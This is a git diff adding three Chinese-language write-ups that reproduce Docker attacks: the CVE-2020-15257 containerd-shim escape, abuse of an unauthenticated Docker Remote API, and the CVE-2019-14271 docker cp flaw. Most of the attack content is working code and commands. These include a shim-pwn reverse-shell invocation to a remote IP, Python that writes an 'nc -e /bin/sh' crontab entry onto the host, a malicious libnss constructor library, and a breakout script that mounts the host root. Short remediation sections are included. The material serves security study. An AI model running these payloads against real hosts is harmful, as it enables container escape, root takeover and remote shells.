diff --git a/05-Docker/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/Docker 容器逃逸漏洞 (CVE-2020-15257)复现.md b/05-Docker/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/Docker 容器逃逸漏洞 (CVE-2020-15257)复现.md new file mode 100644 index 0000000..a70fd19 --- /dev/null +++ b/05-Docker/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/Docker 容器逃逸漏洞 (CVE-2020-15257)复现.md @@ -0,0 +1,66 @@ +# Docker 容器逃逸漏洞 (CVE-2020-15257)复现 + +## 漏洞概述 + +`containerd`是行业标准的容器运行时,可作为`Linux`和`Windows`的守护程序使用。在版本`1.3.9`和`1.4.3`之前的容器中,容器填充的`API`不正确地暴露给主机网络容器。填充程序的`API`套接字的访问控制验证了连接过程的有效`UID`为0,但没有以其他方式限制对抽象`Unix`域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效`UID`为0,但特权降低)导致新进程以提升的特权运行。 + +## 影响版本 + + containerd < 1.4.3 + containerd < 1.3.9 + +## 环境搭建 + +安装有漏洞的`containerd`版本 + +这里我使用的版本是`1.2.10` + +![640](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/640.png) + +## 漏洞复现 + +通过`--net=host` 作为启动参数来运行一个容器: + +```shell +docker run -it --net=host ubuntu:18.04 /bin/bash +``` + +接着在容器内执行 + +```shell +cat /proc/net/unix|grep -a "containerd-shim" +``` + +可看到抽象命名空间`Unix`域套接字 + +![641](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/641.png) + +Poc地址 + +> https://github.com/Xyntax/CDK/releases/tag/0.1.6 + +这里为了方便行事,我们下载解压直接把`cdk_linux_amd64`文件拷贝到容器里 + +```shell +docker cp cdk_linux_amd64 b7bd2b523d72:/tmp +``` + +![642](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/642.png) + +![643](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/643.png) + +在容器中执行`exp`,自动搜索可用的`socket`并反弹宿主机的`shell`到远端服务器,完成逃逸 + +```shell +./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666 +``` + +![644](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/644.png) + +## 修复建议 + +升级 `containerd` 至最新版本。 + +## 参考 + +> https://mp.weixin.qq.com/s/ieY90noArcObNgxyV2-sGA \ No newline at end of file diff --git a/05-Docker/Docker 未授权访问/Docker 未授权访问.md b/05-Docker/Docker 未授权访问/Docker 未授权访问.md new file mode 100644 index 0000000..6df2d9b --- /dev/null +++ b/05-Docker/Docker 未授权访问/Docker 未授权访问.md @@ -0,0 +1,99 @@ +Docker 未授权访问 +================= + +一、漏洞简介 +------------ + +#### 1. 基础介绍 + +http://www.loner.fm/drops/\#\#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8 + +docker swarm 是一个将docker集群变成单一虚拟的docker +host工具,使用标准的Docker +API,能够方便docker集群的管理和扩展,由docker官方提供,具体的大家可以看官网介绍。 + +漏洞发现的起因是,有一位同学在使用docker swarm的时候,发现了管理的docker +节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page +not found ,然后他研究了下,发现这是 Docker Remote +API,可以执行docker命令,比如访问 http://host:2375/containers/json +会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps +的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成,然后他就开始吐槽了,这尼玛太不安全了。 + +然后我想了想 +swarm是用来管理docker集群的,应该放在内网才对。问了之后发现,他是在公网上的几台机器上安装swarm的,并且2375端口的访问策略是开放的,所以可以直接访问。 + +#### 2. 测试环境配置 + +先关闭docker,然后开启: + + sudo service docker stop + # 绑定Docker Remote Api在指定端口(这里是2375),可以自行测试。 + sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock + +参考API规范进行渗透:https://docs.docker.com/engine/reference/api/docker-remote-api-v1.23/ + +操作Docker API可以使用python dockert api 完成。 + +pip install docker-py + +API使用参考:https://docker-py.readthedocs.io/en/stable/api/\#\#client-api + +二、影响范围 +------------ + +三、复现过程 +------------ + +利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。 + + import docker + + client = docker.DockerClient(base_url='http://your-ip:2375/') + data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) + +写入crontab文件,成功反弹shell:![](./resource/Docker未授权访问/media/rId26.png) + +#### python脚本 + +https://github.com/ianxtianxt/docker\_api\_vul + +- 安装类库 `pip install -r requirements.txt` + +- 查看运行的容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375` + +- 查看所有的容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -a` + +- 查看所有镜像 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -l` + +- 查看端口映射 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -L` + +- 写计划任务(centos,redhat等,加-u参数用于ubuntu等) `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口` `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口` + +- 写sshkey(自行修改脚本的中公钥) `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -k` + +- 在容器中执行命令 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -e "id" -I 容器id` + +- 删除容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -c -I 容器id` + +- 修改client api版本 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -v 1.22` + +- 查看服务端api版本 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -V` + +#### 3.3 其他的一些exp + +https://github.com/netxfly/docker-remote-api-exphttps://github.com/zer0yu/SomePoC/blob/master/Docker/Docker\_Remote\_API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.pyhttps://github.com/JnuSimba/MiscSecNotes/tree/master/Docker%E5%AE%89%E5%85%A8 + +#### 4. 防护策略 + +- 1.修改 Docker Remote API 服务默认参数。注意:该操作需要重启 Docker + 服务才能生效。 + +- 2.修改 Docker 的启动参数: 定位到 DOCKER\_OPTS 中的 + tcp://0.0.0.0:2375,将0.0.0.0修改为127.0.0.1 或将默认端口 2375 改为自定义端口 为 Remote API 设置认证措施。参照 官方文档 配置 Rem + +- 3.注意:该操作需要重启 Docker 服务才能生效。 修改 Docker 服务运行账号。请以较低权限账号运行 Docker + 服务;另外,可以限制攻击者执行高危命令。 + +- 4.注意:该操作需要重启 Docker 服务才能生效。 设置防火墙策略。如果正常业务中 API + 服务需要被其他服务器来访问,可以配置安全组策略或 iptables + 策略,仅允许指定的 IP 来访问 Docker 接口。 diff --git a/05-Docker/Docker 未授权访问/resource/Docker未授权访问/media/rId26.png b/05-Docker/Docker 未授权访问/resource/Docker未授权访问/media/rId26.png new file mode 100644 index 0000000..8492820 Binary files /dev/null and b/05-Docker/Docker 未授权访问/resource/Docker未授权访问/media/rId26.png differ diff --git a/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId25.png b/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId25.png new file mode 100644 index 0000000..b0bbdb7 Binary files /dev/null and b/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId25.png differ diff --git a/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId26.png b/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId26.png new file mode 100644 index 0000000..8c31c22 Binary files /dev/null and b/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId26.png differ diff --git a/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId29.png b/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId29.png new file mode 100644 index 0000000..f639dd7 Binary files /dev/null and b/05-Docker/(CVE-2019-14271)Docker copy漏洞/resource/(CVE-2019-14271)Dockercopy漏洞/media/rId29.png differ diff --git a/05-Docker/(CVE-2019-14271)Docker copy漏洞/(CVE-2019-14271)Docker copy漏洞.md b/05-Docker/(CVE-2019-14271)Docker copy漏洞/(CVE-2019-14271)Docker copy漏洞.md new file mode 100644 index 0000000..a03793b --- /dev/null +++ b/05-Docker/(CVE-2019-14271)Docker copy漏洞/(CVE-2019-14271)Docker copy漏洞.md @@ -0,0 +1,126 @@ +(CVE-2019-14271)Docker copy漏洞 +================================= + +一、漏洞简介 +------------ + +二、漏洞影响 +------------ + +Docker 19.03.1 + +三、复现过程 +------------ + +### Docker cp + +Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix +cp命令非常相似。要从容器中复制/var/logs,语法是docker cp +container\_name:/var/logs /some/host/path。 + +从下图所示,要从容器中将文件复制出去,Docker使用了一个名为docker-tar的帮助进程。 + +![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId25.png) + +图 1. 从容器中复制文件 + +docker-tar是通过chroot到容器,将请求的文件或目录存档,然后将生成的tar文件传递给Docker +daemon,然后由daemon提取到主机的目标目录中。 + +注释:CHROOT就是Change +Root,也就是改变程序执行时所参考的根目录位置。CHROOT可以增进系统的安全性,限制使用者能做的事。 + +![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId26.png) + +图 2. docker-tar chroot到容器中 + +Chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题。如果访问的文件中有系统链接,就会解析到host +root。因此,攻击者控制的容器就可以尝试和诱使docker +cp在主机而非容器上读写文件。去年有许多Docker和Podman相关的系统链接CVE漏洞。通过chroot到容器的root,docker-tar可以确保所有系统链接都可以高效地解析。 + +但,chroot到容器然后从容器中复制文件可能会引发很严重的安全问题。 + +### CVE-2019-14271 + +Docker是用Golang语言编写。有漏洞的Docker版本是用Go +v1.11编译的。在该版本中,一些含有嵌入C代码(cgo)的包会在运行时动态加载共享的库。这些包包括net和os/user,都是docker-tar使用的,而且在运行时会加载多个libnss\_\*.so库。一般来说,库是从host文件系统加载的,但因为docker-tarchroot到了容器,因此会从容器文件系统中加载库。也就是说docker-tat会加载和执行来源于容器或由容器控制的代码。 + +需要说明的是,除了chroot到容器文件系统外,docker-tar并没有被容器化。它是在host命名空间运行的,权限为root全新且不受限于cgroups或seccomp。因此,通过注入代码到docker-tar,恶意容器就可以获取host主机的完全root访问权限。 + +可能的攻击场景有Docker用户从另一个Docker处复制文件: + +容器运行含有恶意libnss\_\*.so库的镜像 + +容器中含有被攻击者替换的libnss\_\*.so库 + +在这两种情况下,攻击者都可以获取主机上的root代码执行权限。 + +### 漏洞利用 + +为利用该漏洞,研究人员需要先创建一个恶意libnss库。研究人员随意选择了libnss\_files.so文件,下载了库函数的源码,并在代码中加入了一个函数------run\_at\_link()。研究人员还为该函数定义了constructor属性。constructor属性表明run\_at\_link函数在进程加载时会作为库的初始化函数执行。也就是说,当Docker-tar进程动态加载恶意库时,run\_at\_link函数就会执行。下面是run\_at\_link的代码: + + #include ... + + #define ORIGINAL_LIBNSS "/original_libnss_files.so.2" + #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2" + + bool is_priviliged(); + + __attribute__ ((constructor)) void run_at_link(void) + { + char * argv_break[2]; + if (!is_priviliged()) + return; + + rename(ORIGINAL_LIBNSS, LIBNSS_PATH); + fprintf(log_fp, "switched back to the original libnss_file.so"); + + if (!fork()) + { + + // Child runs breakout + argv_break[0] = strdup("/breakout"); + argv_break[1] = NULL; + execve("/breakout", argv_break, NULL); + } + else + wait(NULL); // Wait for child + + return; + } + bool is_priviliged() + { + FILE * proc_file = fopen("/proc/self/exe", "r"); + if (proc_file != NULL) + { + fclose(proc_file); + return false; // can open so /proc exists, not privileged + } + return true; // we're running in the context of docker-tar + } + +查/proc目录完成的。如果run\_at\_link运行在docker-tar环境下,那么目录就是空的,因为procfs挂载在/proc上只存在于容器的mount命名空间。 + +然后,run\_at\_link会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本,并触发run\_at\_link执行。 + +为简化该漏洞利用,run\_at\_link会尝试在容器的/breakout路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入,而非C语言。让逻辑的其他部分在run\_at\_link外,意味着在漏洞利用每次变化后无需重新编译恶意库,只需改变breakout二进制文件就可以了。 + +![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId29.png) + +利用CVE-2019-14271打破Docker + +在该漏洞视频中,Docker用户会运行含有恶意libnss\_files.so的恶意镜像,然后尝试从容器中复制一些日志。镜像中的/breakout二进制文件是一个简单的bash脚步,会挂载host文件系统到/host\_fs的容器中,并将消息写入host的/evil目录。/breakout脚本代码如下: + + umount /host_fs && rm -rf /host_fs + mkdir /host_fs + + + mount -t proc none /proc # mount the host's procfs over /proc + cd /proc/1/root # chdir to host's root + mount --bind . /host_fs # mount host root at /host_fs + echo "Hello from within the container!" > /host_fs/evil + +四、参考链接 +------------ + +> https://xz.aliyun.com/t/6806